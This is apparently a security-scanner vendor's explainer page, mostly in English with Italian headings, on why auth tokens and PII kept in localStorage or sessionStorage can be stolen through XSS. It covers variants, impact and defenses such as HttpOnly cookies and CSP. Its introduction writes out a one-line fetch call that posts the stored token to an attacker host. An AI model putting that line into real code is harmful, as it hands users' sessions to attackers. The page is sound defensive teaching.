FixVibe

// secrets / spotlight

Tokens in Browser Storage

localStorage is JavaScript-readable. Auth tokens stored there are XSS-stealable by design.

Il gancio

Storing auth tokens in localStorage is one of the most-debated patterns in web security and one of the most-shipped patterns in production. The motivation is real — cookies are fiddly, CSRF protection is annoying, cross-domain requests don't carry cookies easily — and the framework tutorials make it look easy: 'just save the JWT in localStorage and add it to your fetch headers.' The trade-off the tutorials don't make explicit: localStorage is JavaScript-readable by definition, so you've forfeited the single biggest XSS-blast-radius reduction (HttpOnly cookies). Every successful XSS in your app — DOM-based, reflected, or stored — is now a complete account takeover with no work beyond `fetch(attacker, { method: 'POST', body: localStorage.getItem('token') })`.

Come funziona

localStorage is plain key-value storage accessible from any JavaScript running on the origin. Unlike cookies, there is no flag that prevents scripts from reading it; the API is `localStorage.getItem('token')` and that's it. sessionStorage has the same story (just a shorter lifetime). The exfiltration takes one line of JavaScript: an attacker who lands any flavor of XSS — even a brief one in an obscure code path — reads the token, ships it to attacker.tld, and now has session-equivalent access from anywhere. Some apps try to mitigate by using short-lived tokens, but 'short' in JS is still long enough — the attacker doesn't replay the token weeks later, they replay it in real time during the same session.

Le varianti

JWT in localStorage

Most common pattern. Login response stores the JWT, fetch interceptor adds it to Authorization headers. XSS reads it, session is over.

OAuth tokens in sessionStorage

Same readable-from-JS story; just a shorter window. Some SPA frameworks default to this for OAuth flows.

Refresh token in localStorage

Worse than access tokens — refresh tokens persist longer and let the attacker mint new access tokens indefinitely.

PII in browser storage

Not just tokens. Some apps cache user PII, billing info, or document drafts in localStorage. XSS exfiltrates all of it, not just the auth token.

Il raggio d'azione

Full session hijack on any successful XSS. The token doesn't need to be valid for long — the exfiltration is instant. With refresh tokens stored alongside, the attacker maintains access indefinitely. PII leakage if the app caches user data in storage — emails, addresses, document content. In B2B SaaS, this becomes a multi-tenant disclosure event.

// cosa controlla fixvibe

Cosa controlla FixVibe

FixVibe checks shipped client assets for high-confidence secret exposure signals and known credential formats. Reports identify the affected asset and rotation path. For check-specific questions about exact detection heuristics, active payload details, or source-code rule patterns, contact support@fixvibe.app.

Difese a prova di bomba

Store auth tokens in HttpOnly + Secure + SameSite=Lax cookies. The browser sends them automatically with same-site requests; JavaScript can't read them. Treat localStorage as user-readable display state (UI preferences, last-viewed item, etc.) rather than auth state. If you have a genuine architectural need for token-in-JS (cross-domain APIs that can't use cookies, mobile webview integrations), keep the token lifetime aggressively short (5-15 min), use refresh-token rotation with detection of replay (refresh tokens are single-use; re-using a previously-used refresh token signals theft), and pair with strict CSP so the XSS that reads the token is hard to land in the first place. Under no circumstance should refresh tokens or PII live in localStorage long-term — the cost-benefit of 'easier development' versus 'XSS = total compromise' is wildly lopsided.

// run it on your own app

Continua a spedire mentre FixVibe vigila per te.

FixVibe mette sotto pressione la superficie pubblica della tua app come farebbe un attaccante — senza agent, senza installazione, senza carta. Continuiamo a studiare nuovi pattern di vulnerabilità e li trasformiamo in controlli pratici e fix pronti da incollare in Cursor, Claude e Copilot.

Secrets
39
test eseguiti in questa categoria
modules
5
controlli dedicati a secrets
ogni scansione
487+
test su tutte le categorie
  • Gratis — senza carta di credito, senza installazione, senza ping su Slack
  • Incolla un URL — pensiamo noi a crawl, sonde e report
  • Risultati classificati in base alla gravità, deduplicati solo per segnalare
  • AI-ready prompts where code applies, plus operator steps for DNS/provider fixes
Esegui una scansione gratuita

// latest checks · practical fixes · ship with confidence

Tokens in Browser Storage — Vulnerabilità in primo piano | FixVibe · FixVibe